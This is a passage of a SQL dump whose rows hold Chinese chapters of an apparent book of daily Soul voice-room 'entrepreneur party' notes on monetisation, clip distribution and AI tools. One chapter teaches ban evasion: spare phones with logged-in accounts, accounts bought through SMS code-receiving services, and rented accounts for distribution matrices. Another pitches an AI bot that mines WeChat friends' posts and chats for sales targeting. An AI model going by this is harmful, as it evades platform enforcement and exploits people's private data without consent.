1:10,线上聊完到线下消费。\n\n我说你们板块还可以,深圳有个美能妆给医美机构导流,你可以参考。\n\n先做好自己那一块,私域维护好,单个产品做好,别急着搭平台。\n\n她说工具不想追求特别高大上的,怕被割韭菜。\n\n我说很多是营销号宣传出来的,网易大厂做得久,飞鱼吧,也不贵,先试试。\n\n深圳做婚恋、比较白的话,Soul 已经接入广点通,可以了解一下,正规内容有机会。\n\n---\n\n再说一个微信的事。有人说 AI 怎么挣钱。\n\n我说你们都有很多微信好友了,多少有认识有链接,信任是第一层。\n\n如果有一个 AI,手机或电脑形态,微信登上去,自动帮你聊天、分析客户,通过朋友圈知道性格职业喜好,通过聊天记录知道需求。\n\n比如三千个好友里三十个有婚恋需求,就针对这三十个人触达、点赞、评论,朋友圈让 AI 发婚恋相关内容。这个叫 AI 数字员工。\n\n你再往生意想:把红娘整合过来,给她一个 AI 数字员工,帮她开发所有客户,开发完你分她钱。\n\n红娘做了五年十年,资源贡献给你,成交后分钱。\n\nAI 在中间看好友朋友圈、判定需求、分到流量池做运维,但缺情绪、没温度,关键环节还是要人。\n\n搭这个中台成本很重,两百万到五百万以上。\n\n加入现成中台约 600 块 token 一月,你负责客户,企业负责转化。\n\n核心九成在运营,工具只占一成,原有链路没跑通,用再好工具都没用。\n\n---\n\n另一个做私人眼镜定制的说,和杭州合作卖货机器人,抖音 API 自动获客锁客到微信小程序,单账号日触达五千加,转化高,但类目库没有眼镜。\n\n我说后端扩展类目、多平台,核心在运营与话术流程,不是单靠工具。\n\nAI 主要是知识库,按你原有成交话术流程、按人的情绪阶段触达。\n\n你前端链路已经跑通了,后端的触达形式在运营思路和策略上。\n\n---\n\n104 场数据顺带说一下。\n\n2 月到现在 Soul 推流 31 万,进房 4060,1 月推流 77 万,进房去重 9690,76 个曝光进一个人。\n\n前几个月加起来差不多 250 万曝光,三个多月触达 30 万人了,链接 100 多人,合作七八个,公司招了两三个,线上团队 7 个。\n\n开派对我搞得足够简单,两个手机点三下就开。\n\n动力是数据清晰,每月 60 到 80 万曝光,触达 1 到 2 万人,总会有合作对象。\n\n能坚持的事一定是聊天就能解决的,别给自己太大压力。\n\n小程序叫卡若创业派对,有空可以看。', 4992, 0, 1.00, 67, 'published', '2026-02-21 19:41:31.000', '2026-03-10 06:25:50.220', 22, 0, 0, 2.00, NULL, NULL); -INSERT INTO `chapters` VALUES (199, '10.05', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第107场|性格、陪伴经济与本地AI', '# 第107场|性格、陪伴经济与本地AI\n\n\n了解自己,才知道什么样的运你接得住。\n\n\n2026 年 2 月 23 日,初六,上午。\n\n\n第 107 场,137 分钟;\n\n场观 33820,进房 398 人。\n\n\n四个月 107 场,每月一两万人进派对,平均停留 10~15 分钟。\n\n\n这场聊了三块:性格和创业怎么搭、陪伴经济谁在挣钱、本地同城用 AI 做代运营的 7 号。\n\n\n---\n\n\n先说你得先了解自己。\n\n\n很多人一上来就问怎么挣钱,听说什么挣钱就去做,没想自己适合什么。\n\n愿力大于能力,你得敢有目标;\n\n但目标要跟你这个人对得上。\n\n\n最简单的自测:你最强的三个能力是什么、最有成就感的一件事、最赚钱的一个月做了什么,写下来,自我画像就出来一半。\n\n再加三条你绝不越界的底线、短期和长期的职业规划,自己就清晰了。\n\n\n性格会决定你适合单干还是带团队、做执行还是做决策。\n\n比如 INTJ 最适合先打透一条闭环、再找一个 ENFP 去复制放大;\n\nINFP 适合当二把手、做顾问或协调,不适合自己扛决策。\n\nENFP 适合收集资源、链接人脉,但底下得有一个 INTJ 或 INFJ 帮着落地和收束。\n\n这些不是迷信,是很多人用团队试错试出来的——性格不对,能力再强也容易散。\n\n\n---\n\n\n4 号上麦,ENFJ,像变色龙,做新项目粘合剂。\n\n\n她说最近在搞睫毛增长液,产品还没出来,几个人之间会有小摩擦,她在中间调节、把力往一处使。\n\n我说这就对了,ENFJ 适合项目冷启动:目标定完,大家看不到利益或遇到挫败的时候,需要有人做感情维护、给阶段性的小结果,这是 ENFJ 擅长的。\n\n\n她问 MBTI 是不是对应小孔雀。\n\n我说孔雀是 PDP 动物型,测的是团队协同;\n\nMBTI 测的是个人性格和职业倾向,两个可以一起看。\n\nENFJ 做多了项目会越来越值钱,不用追求特别精,把团队每个业务流都摸一遍,当好粘合剂就行。\n\n\n5 号说他天天给员工画大饼,但落实别找他。\n\n我说 ENTP 就这样,画大饼、冲前面可以,执行要甩给 ENTJ 或 INTJ,你带一个 INTP 帮你整逻辑、一个 ENTJ 扛执行,饼画够大,ENTJ 才控得住。\n\n\n---\n\n\n陪伴经济这场也聊了不少。\n\n\n6 号问普通人做陪伴、针对宝妈或大学生行不行。\n\n我说可以,但收益低;\n\n高收益的在别处。\n\n比如伴游:抖音发漂亮小姐姐陪老板商务局、几个高大上场景,一条视频 800 到账,流量和付费人群都清晰,后端把私域和团队接住就行。\n\n再比如高端婚恋:有些富婆找有格局、能聊同频的创业男性,成功在一起一单 30 万,人家做深圳上海厦门三城,一年百单就三千万。\n\n核心不是流量,是高质量的人。\n\n\n还有绿色陪伴、陪老人、陪玩赶海,都能做。\n\n养老要五轮考核,风险高;\n\n赶海那种是辛苦做量。\n\n情绪价值接下来会越来越值钱,AI 越冷,真人带温度的服务越贵。\n\n\n---\n\n\n7 号做 AI 自动化,从短视频到直播到私域一整条链路。\n\n\n他说 3 月会拿一笔投资,把公司做起来,已经合作了周六福和广东 600 多家门店的餐饮连锁。\n\n收费是工具使用费一年 1~3 万,主播和团购另算抽点。\n\n主攻实体企业老板、对 AI 有认知的,目前做青旅、餐饮、珠宝,在深圳青旅做到同城头部。\n\n\n我说你这个业务不新颖,本地同城代运营很多,关键看人:你是谁、资方是谁、案例有没有。\n\n你已经做出标准化样本,接下来是跟商家怎么深度捆绑——纯工具没壁垒,纯代运营太累,最好能锁定几家、成立运营公司或拿用户触达权,不然很容易被「我觉得我自己也能做」的商家甩开。\n\n\n他说客户和投资人都是在 Soul 这个房间链接上的。\n\n我说线上筛人快,但开发落地沟通成本高,核心岗位最好线下碰;\n\n你深圳的,南山月亮湾 AI 沙龙多,可以线下再筛一轮。\n\n\n---\n\n\n其他零碎的。\n\n\n炸房很正常,聊深了就容易触线;\n\n我准备了 6 个号,手机摆旁边,封一个换一个。\n\nSoul 上搞流量不难,有内容、有节奏、什么人数做什么动作,开多了就摸得到规律。\n\n\n基因胶囊这周刚出,技能打包成一颗「药丸」丢给 AI,它就会了;\n\n公司里都在做,财务、拆书、本地模型协同,能沉淀成基因的都在沉淀。\n\n学 AI 就学怎么用 AI 挣钱,不然学了也没用。\n\n\n想副业的联系管理,切片分发、分享书都有收益;\n\n想深度合作的业务清晰的可以进会员群。\n\n每天 6 点到 9 点,多听每个人的视角,多分享多曝光,别人知道你能解决什么,合作才会来。\n\n\n了解自己,才知道什么样的运你接得住;\n\n接住了,再谈坚持和放大。', 1685, 0, 1.00, 68, 'published', '2026-02-23 10:17:19.000', '2026-03-10 06:25:50.231', 9, 0, 0, 0.00, NULL, NULL); -INSERT INTO `chapters` VALUES (200, '10.06', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第108场|Soul场观400等于抖音1万', '# 第108场|Soul场观400等于抖音1万\n\n\nSoul 场观 400 到 600,合作价值相当于抖音 1 万。\n\n\n2026 年 2 月 24 日,初七,早上 6:53。\n\n\n第 108 场,162 分钟;\n\n进房 544 人。\n\n\n---\n\n\n6 号问了一个问题:你们在 Soul 上做这个事,跟抖音有什么本质区别?\n\n\n我说最大的区别就两个:停留时间、专注力。\n\n\n抖音的场观是多少?\n\n我搞了几年,开直播场观 5000 到 15000 之间。\n\n\nSoul 的场观是多少?\n\n400 到 600。\n\n\n但你听别人 1 到 3 分钟,跟听别人 10 到 15 分钟,完全不是一回事。\n\n\n能聊 10 到 15 分钟的人,他的沉浸程度、合作意愿、能聊出来的东西的价值,跟刷 1 到 3 分钟就划走的人,完全不一样。\n\n\n所以 Soul 400 到 600 的场观,效果相当于抖音 1 万左右的场观,甚至更好。\n\n\n我们没有瞎说,每天都在做数据运营,管理很辛苦,数据报表都有。\n\n\n---\n\n\n抖音的优势是能展示办公室、场景、人,流量大。\n\n\n但抖音的缺点是停留太短,1 到 3 分钟就没了。\n\n\nSoul 是纯社交,语音聊天,没有画面,但人愿意待 10 到 15 分钟。\n\n\n你想想,两个人对话,聊业务、聊合作、聊需求,1 到 3 分钟能聊出什么?\n\n刚进入状态就结束了。\n\n\n10 到 15 分钟,能把事情讲清楚,能把人筛出来,能判断这个人靠不靠谱、能不能合作。\n\n\n合作的机会完全不一样。\n\n\n---\n\n\n108 场下来,结果是什么?\n\n\n核心管理 7 个,做副业的 40 多个,老板群 90 多个,会员群在聚集。\n\n\n这些全是线上组织的,不是线下发工资招的。\n\n\n线下招人太容易了,给钱就行;\n\n线上要讲情绪价值、要筛选、要磨合,难 100 倍。\n\n\n抖音搞这个事情得一年多,Soul 两三个月就出来了。\n\n\n十月到十一月,进房人数多了 3 倍;\n\n十一月到十二月,多了 4 倍;\n\n一月到二月,又多了 30% 到 40%。\n\n\nSoul 是增量的,每个月都在涨。\n\n\n现在我们每月 1 万人进派对,每天 300 到 600 个人,最高一次 800 多。\n\n\n这 1 万人里面,有多少能合作?\n\n有多少能形成联合?\n\n有多少可能投资?\n\n不一定,但基数在这。\n\n\n---\n\n\n3 号上麦,合肥的,做医疗 AI 辅助诊疗系统。\n\n\n标品 2 万永久版,给私人诊所用的,从挂号、辅助诊疗、病历库存、财务多端协同到硬件外设,一整条流程。\n\n\n定制单子几百万,做过雨露先行的 AI 制药文献综述、国投证券的投资项目计划书智能体、小工厂的拼多多 AI 客服。\n\n\n他说标品走量,定制维持现金流,一年接一两个大单就够吃。\n\n\n我问你们交付形态是什么?\n\n他说主要给医师端用,Windows 台式机本地跑,数据不上云,医生放心。\n\n\n诊所这块是上行的,美业下行,但私人诊所、中医馆很火,我全家每个月花 3 万多在针灸看病上。\n\n\n他说拓市场缺人,之前做拓展的离职了,想找医疗器械方面的业务合伙人。\n\n\n我说技术的人不适合走关系,你找个专门做这块的合伙人来跑渠道,线上也可以筛,Soul 上很多做诊所的、做医院招投标的,可以链接。\n\n\n他说讯飞应用市场、奇绩创坛都是在 Soul 上朋友推荐的。\n\n\n渠道最重要,产品已经跑通了,就差人。\n\n\n---\n\n\n5 号问:像你们这种财务比较自由的人,为什么还要这么努力?\n\n\n我说跟钱没关系,本来就在享受生活。\n\n\n每天陪小孩、遛狗、公司逛一逛,开派对就是 6 点到 9 点聊聊天,以前这个时间是散步的,现在改成聊天而已。\n\n\n做 Soul 四个月,108 场,发现降本增效很多:服务器成本降了一大半,供应链合作成本比想象中低,找切片的人容易找,人才也懂。\n\n\nSoul 现在是送流量的,不做完全是浪费。\n\n\n开派对等于开淘宝店,07 年淘宝也是设一两百个宝贝,7 天快到期的排序,流量咔咔进来,跟现在 Soul 的感觉一样。\n\n\n比当年开淘宝还快。\n\n\n---\n\n\n6 号又问:你们到底怎么赚钱?\n\n聊了一大堆,最后还是说怎么加入你们,但没讲清楚你们的业务模式。\n\n\n我说讲了很多遍了,你进来没多久,多听几场就懂。\n\n\n第一,派对两三个小时的内容,优质部分切成切片,切片团队分发,有动作给钱,有客资给钱,有产品分成给钱,平均一个月 800 到 5000 不等。\n\n\n第二,优秀的项目我们帮你推广,几十个人分发,一天几十万曝光,业务上去谈分钱。\n\n\n第三,项目投资,你靠谱、有结果、能闭环,我们投你,分钱。\n\n\n第四,推一条项目推广,拿多少分成先讲好,推过去就分钱。\n\n\n第五,会员费,你想进来就交,我们筛选。\n\n\n多维度,不是单一路径。\n\n\n我们不需要筛选项目,线下我过去看你财报、看你公司、看人员状态,该合作就合作;\n\n线上看不见摸不着,只能从你表述的节奏、解决问题的能力来判断,合适就约线下见面。\n\n\n---\n\n\n7 号总结了一句:你们要的是切实的业务,不是想法。\n\n\n你把自己的业务、感触、现在的需求说清楚,有人能帮上就链接,链接的深度取决于你做这个事情靠不靠谱、有没有结果。\n\n\n8 号说:这个平台的价值就是分享我需要什么、我能带来什么,认知提升,同时可能找到合作伙伴。\n\n\n把想法具象化:我开影楼,有摄影资源,能接触到拍婚纱的人,谁有婚礼 MV 的需求?\n\n我帮你做。\n\n\n这样才有落脚点。\n\n\n---\n\n\n今天 162 分钟,544 人,人均 11 分钟。', 1944, 0, 1.00, 69, 'published', '2026-02-24 11:05:26.000', '2026-03-10 06:25:50.243', 2, 0, 0, 0.00, NULL, NULL); -INSERT INTO `chapters` VALUES (201, '10.08', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第110场|Soul变现逻辑全程公开', '# 第110场|Soul变现逻辑全程公开\n\n\n挣钱这件事,能摊开讲的都不算秘密。\n\n\n2026 年 2 月 26 日,上午 7:02。\n\n\n第 110 场,144 分钟;\n\n进房 406 人。\n\n\n---\n\n\n有人问:Soul 上面怎么挣钱?\n\n\n开派对就挣钱。\n\n\n今天 110 场了,跟你讲这套变现逻辑,全程公开。\n\n\n前期都是砸钱的。\n\n\n第一个,召集切片的、召集干活的,有动作就给钱。\n\n\n发瞬间给钱,有客资给钱,项目卖出去也给钱,他们赚的是副业的钱。\n\n\n内容由场上生产,写总结,把每天派对里优秀的分享、案例整理出来,给有时间的人去发,发就有钱拿。\n\n\n想做切片、做副业的,可以@管理,有电脑、会剪辑的都能问问。\n\n\n第二个,省钱。\n\n\nSoul 上很多供应链的人过来,直接合作。\n\n\n一年服务器加租金各种费用差不多小 40 万,有一个人给了半价还不到,17 万多,省了二十几万。\n\n\n做水的过来,定了一年的水,另一个投资的金融公司也找他定了一年。\n\n\n消费的本质是省钱,前期在上面花了不少,但省得更多。\n\n\n第三个,收钱的几个形式。\n\n\n资源群加了门槛,有分享、有介绍才进,现在 93 个老板。\n\n\n有人要获客、推项目,开发做了小程序,把项目写进去、推广出去,收一点钱,会员群就出来了。\n\n\n好的项目提前谈好分润,有合作的分。\n\n\n再就是跟主营赋能,做电竞的,在派对里筛到不错的人,配几个人给他,跑通了,一个月一二十万利润,也是收益。\n\n\n四个月下来,做副业的 40 多个,管理 7 个,老板群 93 个,会员也收了好几个。\n\n\n前期投入发钱,现在慢慢成型了。\n\n想参与副业、做切片的,联系管理就行。\n\n\n---\n\n\n3 号问:Soul 来回转化干嘛的?\n\n没太听清楚。\n\n\n变现逻辑就这几个。\n\n\n后面小程序 2.0 已经上了,你分享一篇文章,别人付一块钱,90% 归你,5% 给腾讯,平台拿一个点,管理拿四个点。\n\n\n你开派对、推当天的文章,别人付费都跟你 30 天捆绑,开派对可能就挣几万,这套打底要打半年。\n\n\n对比传统沙龙已经快很多了。\n\n\n每个月派对进来一两万人,去重完 1 万出头,人均停留 10 到 15 分钟。\n\n\n还有 30 多个做切片的,每月小 2000 万播放。\n\n想做切片的可以找@南风了解一下流程。\n\n\n有这个量,接啥不行?\n\n\n有厦门场地的人来合作,给人堆满;\n\n有开发需求的,当渠道丢给程序员。\n\n\n都是顺便的事。\n\n\n---\n\n\n场上还有人问别的。\n\n\n有人问 AI 怎么做、怎么赚钱,太泛了,你原来做什么就用 AI 赋能,提升效率。\n\n\n想了解 AI 就进圈子,付费圈子好一点,免费的里面都是不懂的,聊不出啥。\n\n\n4 号做工厂电商,白胚一千个图案就一千个新款,一套图最便宜 200 多,拍不过来。\n\n\nAI 出图、批量上架的工具很多,豆包搜一下、需求描述清楚,让它给你推,前三款付一两个试试。\n\n\n5 号室内设计想转行,围绕原有能力转,设计师转短视频、转 AI 出图的多,比跨赛道做跨境容易出结果。\n\n\n6 号问 10 个抖音号用 AI 在自己电脑上分发会不会封号。\n\n\n同一 IP 多号做矩阵肯定要出问题,现在成熟的是分布式矩阵,用别人的号,租号已经成产业链了,一个号一个月 100 块普通的,好一点的 200,有粉丝的 1000。\n\n\n7 号做太阳能、卖电的,以前一个人干拿过几十万,现在浙江市场利润低。\n\n\n跟现在卖算力是一类事,找有算力的公司、找有算力需求的企业,赚差价,本质是销售。\n\n\n8 号博士、大学老师,手上有两所学校、17000 学生,开了 AI 漫剧课,想组团跟红果谈。\n\n\n肯定能做,以前做过飞飞时间,企业把工作流拆细发到 APP 上接任务,学生做完就有收益;\n\n擅长做培训就对接好红果,学校做成,是这个城市第一家,大机会。\n\n\n---\n\n\n有人问:写东西能产生收益吗?\n\n\n没有直接收益,创造价值就有收益。\n\n\n每天写一篇放到小程序,别人付一块钱,90% 给分享的人。\n\n\n小程序日活几千,大家都能挣钱。\n\n\n2.0 已经上线,超级个体点一下能加对方微信、拉群,后面有 AI。\n\n\n3 月份迭代 3.0,109 场内容做向量化,提问都交给 AI 智能体。\n\n\n其实没花太多精力,6 点到 9 点聊聊天,管理很辛苦,流程都是他们整理的。\n\n有事想对接、想做副业或切片的,找管理就行。\n\n\n今天 144 分钟,406 人。\n\n\n每天公开数据,Soul 结束之后小助手去重完才是真实数,每个月 1 万到 2 万去重,停留 10 到 15 分钟,流量质量还可以。\n\n\n懂的就知道,就花 3 个小时,本来也是遛狗散步的时间,拿来聊聊天,顺便把变现跑通了。\n\n\n---\n\n\nSoul 咋变现?\n\n前期给钱、切片加会员加项目分润,四个月跑通。\n\n\n能坚持的事,一定是聊天就能解决的。', 1717, 0, 1.00, 71, 'published', '2026-02-26 15:42:13.000', '2026-03-10 06:25:50.266', 6, 0, 0, 0.00, NULL, NULL); -INSERT INTO `chapters` VALUES (202, '4.6', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', 'Soul被封号了:如何处理?', '今天开播派对的那个号被封了。\n\n封号不是终点,换号接着干就完了。\n\n---\n\n号没了咋办?\n\n你封这个号,就下一个号呗。\n\n提前准备好:6 个号,手机全部摆在旁边,专门搞个 Soul 直播的房间,6 台手机每个都登好。\n\n封了这个号,下一个号顶上,不耽误事。\n\n有人遇到过:直播号一发就被封,流量就没了,小号到现在还封着。\n\n拿其他号开不了派对,要身份证认证,认证解决不了。\n\n那就把还能开的大号当成直播号,5 台手机都登小号,直接上来,继续播。\n\n---\n\n为啥被封?得找原因。\n\n有的是小程序标题不能加「私域」了,最近改的,之前都能加。\n\n把这个事改掉就好了,没啥问题。\n\n炸房和封号是两回事。炸房还好,封号就严重了。\n\n有人说以前不炸房,聊多了就会炸房,还有人说不炸房的房主不是好房主,结果被封了,也挺冤。\n\n能避免就避免,别踩红线。\n\n---\n\n没号咋办?买。\n\n没手机就找人买。专门找了一个小伙伴解决各种黑科技链接,找他买就行。\n\n买号怎么买?这边接码,Soul 上注意看区号,香港、其他区号都有。\n\n发过来那一串,看着像乱码,其实不是,是英文,不用看懂,只需要后面的数字就行。\n\n上图就是实际买号接码的对话,照着流程走就行。\n\n内容咋办?号封了不是白干了?\n\n内容备份到群里边。号封了也不至于打水漂。\n\n群是另一条腿,号可以换,群里的资源和人脉要留住。\n\n有人封了 4、5 个号,身份证下 3 个都开不了,但群还在,换平台、换号,照样能接着聊、接着对接。\n\n符合规则、不讲违法的,封的概率就低。\n\n你薅平台流量,肯定要被封。引流到私域、内容备份到群,才是正事。\n\n---\n\n平台不行了咋办?\n\n换阵地。\n\n开派对开了 100 多场,抖音被封了好多号,从没断更过。封再多也没断。\n\n平台没用了就换。去年下半年说不干抖音,死心了,觉得平台没用了,直接换 Soul。\n\n换地方接着干,不在一棵树上吊死。\n\n别跟平台杠,杠也没用。多准备几个号、格式流程沉淀好、内容备份到群,比纠结为啥被封有用。\n\n人均被封过 20 个号,照样开 100 多场派对,没断过。封号是常态,接着干才是本事。\n\n---\n\n号是消耗品,别指望一个号用到老。\n\n抖音 17 年就玩,100 多个号,70 多万粉的号都被封过,这种事见多了。\n\nSoul 也一样。买两个号就怕封一个,封了再换,别纠结。\n\n号一被封,直接补上,链路通了就行。\n\n做分发的也一样:得有足够多的账号,封号很严重。分发团队要 4 到 5 个人管,封号怎么解决、各种卡点,一点点磨、一点点突破。\n\n深圳有人 15 万台手机,号一被封直接补上,专门找人供货,封不封无所谓。\n\n---\n\n把这些都整理出来,就有价值。\n\n买号的路径、解封的路径、准备微信号的路径,所有 SOP 流程细节,整理出来。\n\n想开派对、想拿流量,会不会封号?是痛点吧。流程怎么打流量?第一步、第二步、第三步怎么做?\n\n整理成文章,一块钱一个,值不值?\n\n后端推给卖号的小伙伴,找他买号,分一点点,导流就行。不怕封号。\n\n走过这些路,就是值钱的,写成经验,每天都在创造价值。开派对出的问题都整理一下,给真正做事、做生意的人用,就是很好的点。\n\n---\n\n格式、公告、流程也整理出来,写进 SOP,新人照着做。\n\n派对怎么开?回复「1」,排队上麦。上麦后按格式介绍:如何称呼、MBTI、地区、擅长行业、最赚钱的一个月做了什么、最有成就感的事、人生转折点。时间 5 到 10 分钟。你能帮大家什么?你需要什么帮助?进资源泡泡群,做矩阵切片,合作私聊管理。\n\n格式清晰,进来的人不乱讲,平台也好判断你在干啥。照着做就行。\n\n![卡若创业派对格式.png](/uploads/book-images/1772182998018073958_s3veuu.png)\n\n小程序、公告被限制了就赶紧改,改完迭代。格式是为了达到目的,达不到目的开派对就没意义。\n\n把方式、方法、步骤从实践里抠出来,输出成可复用的东西。封号换号也能快速接上,新人上来也能照着做,不依赖某一个号、某一个人。\n\n---\n\n总结一句:Soul 被封号了咋办?\n\n多号准备、符合规则、内容备份、换阵地接着干。号是消耗品,别纠结一个号,流程和格式沉淀下来,换号也能快速接上。\n\n6 台手机摆好、群建好、SOP 写好,封了这个切那个,不断更、不断合作、不断更迭,才是正经事。\n\n多号、备份、换阵地、格式沉淀,四样搞定了,封不封号都不慌。\n\n想做切片、做副业的,可以私聊@南风。\n\n有电脑、会剪辑的,能按格式走的,联系管理就行。\n\n派对里的内容、分享、案例,都能切成短视频做矩阵,号封了换号发,内容沉淀在,就不怕。', 5188, 0, 1.00, 20, 'published', '2026-02-27 10:03:59.000', '2026-03-10 06:25:49.685', 5, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (203, '10.09', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第112场|一个人起头,维权挣了大半套房', '# 第112场|一个人起头,维权挣了大半套房\n\n\n起头难。\n\n\n起完头,后面都是顺势。\n\n\n2026 年 2 月 28 日,上午 7:01。\n\n\n第 112 场,135 分钟。\n\n\n---\n\n\n场上有人问:普通人怎么敢跟 ZF 搞?\n\n你不怕吗?\n\n\n干过。\n\n\n十几年前,小区 12 栋楼房产证被压着,开发商把土地证抵押了 14 个亿,业主办不了证。\n\n\n没人起头,就起头。\n\n\n第一天晚上在群里发:明天早上 8 点拉横幅,你们想来就来,不来就一个人干。\n\n\n8 点到了,没人下来。\n\n\n就一个人站着。\n\n\n后来有个本地的阿三,带几个老头下来,说我们帮你。\n\n\n阿三他们去敲门,说下来办房产证,一户一户敲,把人「骗」下来——下来才发现是拉横幅。\n\n\n一个多小时,三十几个人。\n\n\n让大家喊话、拍视频,发到各个楼群:有钱出钱、有力出力。\n\n\n到 9 点多,两百多人下来了。\n\n\n写了一条朋友圈:无良开发商某某,土地证抵押云南,请 ZF 主持公道。\n\n\n让所有下来的人把这条和视频发出去,发了、截图的才优先办证。\n\n\n到下午 1 点,市长办公室打电话过来:过来泡茶。\n\n\n后面就是游街、ZF 门口、市委书记市长十五号上访日见我们,法院院长、消防、房产局几个局一起开会,责任切割,消防开绿灯,房产证办下来。\n\n\n全程一两个礼拜。\n\n\n自己把整条链路跑通了一遍,很麻烦,但跑通了。\n\n\n跑通之后就是生意。\n\n\n起头难,跑通更难;\n\n跑通了就能变成别人愿意付费的服务。\n\n\n小区几千户,要办证的人很多。\n\n\n做了全套 SOP、视频,免费给业主看,能自己办就自己办,不能办就找房主。\n\n\n找一个做过桥的朋友来跑腿,办一份 5000 块,推微信给他,他收钱办事。\n\n\n还有很多人没过桥完、怕房子出问题,找他过桥,他一单能挣四五万。\n\n\n同学搞了一套房,房主搞了大半套。\n\n\n业委会把房主选上去了,狗都能养了,保安再也不敢说不能养狗。\n\n\n众筹的那笔钱没用上,在小区对面开了个超市,到现在还有分红。\n\n\n那五个起头的人,阿三开了鼻炎诊所,小区的人都知道他是元老,生意一直不错。\n\n\n所以你说怕不怕?\n\n\n初心就是为了拿证。\n\n\n势能不够就组织人,共同目标有了,信任才出来;\n\n信任出来了,才会有人找你办证、过桥。\n\n\n利他不是口号,是大家都有收益——拿证、分红、生意、口碑。\n\n\n受益终身。\n\n\n---\n\n\n2 号说:一般人起不了头,得有勇气、影响力、人脉。\n\n\n房主没有人脉。\n\n\n从头到尾一点都没有。\n\n\n起头就是一个人,然后几个人,然后几十个,然后两百多个。\n\n\n核心就三件事:初心是解决问题,不是搞事;\n\n有勇气先站出来;\n\n参与的人都要有收益。\n\n\n不是为了自己的利益去闹,是大家共同目标、一起拿结果,顺便有人找你办事,钱就来了。\n\n\n现在在 Soul 上干的也是这种事。\n\n\n链切 1 万是第三个阶段,接下来 112 场到 150 场,赋能 100 个超级个体太宽,先赋能 10 个。\n\n\n38 场赋能 10 个,大概三场一个。\n\n\n能赋能的体系已经搭好了:能给做副业的发钱,能帮人提升业务,在 Soul 上把一件事干成,也是一辈子的事。\n\n\n就像当年小区那批人,只要房子还在,大家都还记得谁帮过忙。\n\n\n---\n\n\n有人问:亲子教育、家庭教育在 Soul 上怎么变现?\n\n\n别藏着掖着。\n\n\n标题直接写痛点:解决夫妻问题(付费)、挽回女朋友(付费)、中考如何上 985、如何提升孩子记忆力。\n\n\n主题垂直一点,直接收费。\n\n\n来了先帮人解决一两个问题,觉得有用再谈深度、付多少、加泡泡。\n\n\n交付轻一点,觉得没效可以退。\n\n\n一个月进派对一两万人,你要变现太容易;\n\n你场上十几个人在线,就把主题写清楚、写垂直,直接收费。\n\n\n5 号说:你这一下子打开思路了,有需要的人就来了。\n\n\n对。\n\n\n想做什么就直接做。\n\n\n一天一块钱一小节,小程序上都有;\n\n你的专业程度和身份决定了能收多少。\n\n\n越专业、越能解决问题,收 1 万、2 万、10 万都有人付。\n\n\n李亚鹏一开始众筹几十块、几百块,到后面是谁在给?\n\n明星、微商大佬 500 万、香港那位 5000 万。\n\n\n公益永远最挣钱,势能到位人生就起飞。\n\n\n不用怕事情小,坚持足够久,弹簧压紧,起飞很快。\n\n\n---\n\n◊ Soul 上投流和派对价值的算法,场上说过,具体数值是这样。\n\n\n推流(自然流量):Soul 会把派对推给用户,规则改过一轮。\n\n正常情况下一场 120 分钟,平台每天给这个房间大约 3 万次曝光;\n\n能实际进到派对里的人大约 300~600 人。\n\n算下来平均约 75~80 次曝光进 1 个人,有的场 72、有的场 80,取个中就行。\n\n房间里一分钟大概进 3 个人左右,可以自己对着时长算。\n\n\n派对价值:一个月进派对一两万人,主题写清楚、写垂直,变现空间就很大;\n\n你场上十几个人在线也能直接收费。\n\n\n付费投流:1000 次曝光大约 6~10 块,按 75 曝光进 1 人算,进一个人到派对大约 4 毛 2;\n\n每天想多进 500 人的话,成本大概 200 块左右。\n\n每天能加微信大概 10 个的话,获客到微信的成本就是 20 块一个人。\n\n\n后端闭环打通之后,20 块获客、能变现 25 块就可以拉满投。\n\n\n核心是把最小闭环跑通:一块钱小课、会员链接、AI 赋能,再算 100 个人里多少人成交、多少钱。\n\n\n播了 112 场,内容合规上没出大问题;\n\n偶尔炸房就改房名、换号开,解决问题就行。\n\n\n设备标配:几台手机、备用号、两台电脑,丝滑切换。\n\n\n---\n\n\n有人问超级个体要什么条件。\n\n\n超级个体不需要太多条件。\n\n\n做好你自己最小闭环里能挣钱的那一件事,用工具放大,再嫁接优质的前端或后端。\n\n\n比如游戏主播就每天播、加微信,后端有人转化;\n\n比如销售就聊天分钱,别人给你客资你谈分成。\n\n\n超级就是加一层:用好 AI,效率上去。\n\n\n千万别啥都做,挣不到钱或只能挣小钱,还特别累。\n\n\n把做事当成玩,像现在三个小时派对就是聊天,跟散步差不多。\n\n\n以前做游戏,一键宏那个品:没 IP 的卖 50 块、赚 5 块;\n\n有 IP 的把全国冠军的输出手法写进去,卖 1980,卖 10 份就 2 万,还有年费。\n\n\n同一类产品,卖的是影响力。\n\n\n血染那种,打比赛、接单、打排名,一单一万两万,一赛季一个组能挣 10 万,还能买别墅。\n\n\n坚持做自己喜欢的事,但要遇到对的人、对的链路,不然拿不到结果。\n\n\n---\n\n\n7 号问:上传视频还要自己截封面再上传,很麻烦。\n\n\n你身边有什么人?\n\n\n有技术就直接提需求:上传视频自动生成封面,首帧或 AI 挑一帧当封面,减少操作。\n\n\n想到就做,有卡点就丢给能解决的人。\n\n\n就像想买房子,就委托专门做房产的小伙伴;\n\n想收租就找法务团队批量处理。\n\n\n人永远比工具好用,AI 也只是工具。\n\n\n大姑做瓷器几十年,一句话顶十年。\n\n\n她讲情绪价值、大客户怎么接待、什么做什么不做、内销怎么打。\n\n\n聊一小时,值好几百万。\n\n\n生意就是有来有往,投其所好、情绪价值给足、身份对等。\n\n\n做电竞、做私域也一样,把事情当项目做,能链接的就快速链接。\n\n\n---\n\n\n今天 135 分钟。\n\n\n112 到 150 场,目标赋能 10 个超级个体。\n\n\n想做副业、做切片的联系管理;\n\n有业务想进资源群的要先上来分享、说清楚项目。\n\n\n会员群付费,小程序里每天一节一块钱,大家怎么赚钱的视角都在里面。\n\n\n懂的来链接,不懂的多听几场再动。\n\n\n一个人起头,后面都是顺势。\n\n\n小区维权是这样,Soul 上开派对也是这样。\n\n\n敢第一个站出来的人,往往也是最后分到钱的人。', 2711, 0, 1.00, 72, 'published', '2026-02-28 14:14:34.000', '2026-03-10 06:25:50.278', 1, 0, 0, 3.70, NULL, NULL); -INSERT INTO `chapters` VALUES (204, '10.10', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', 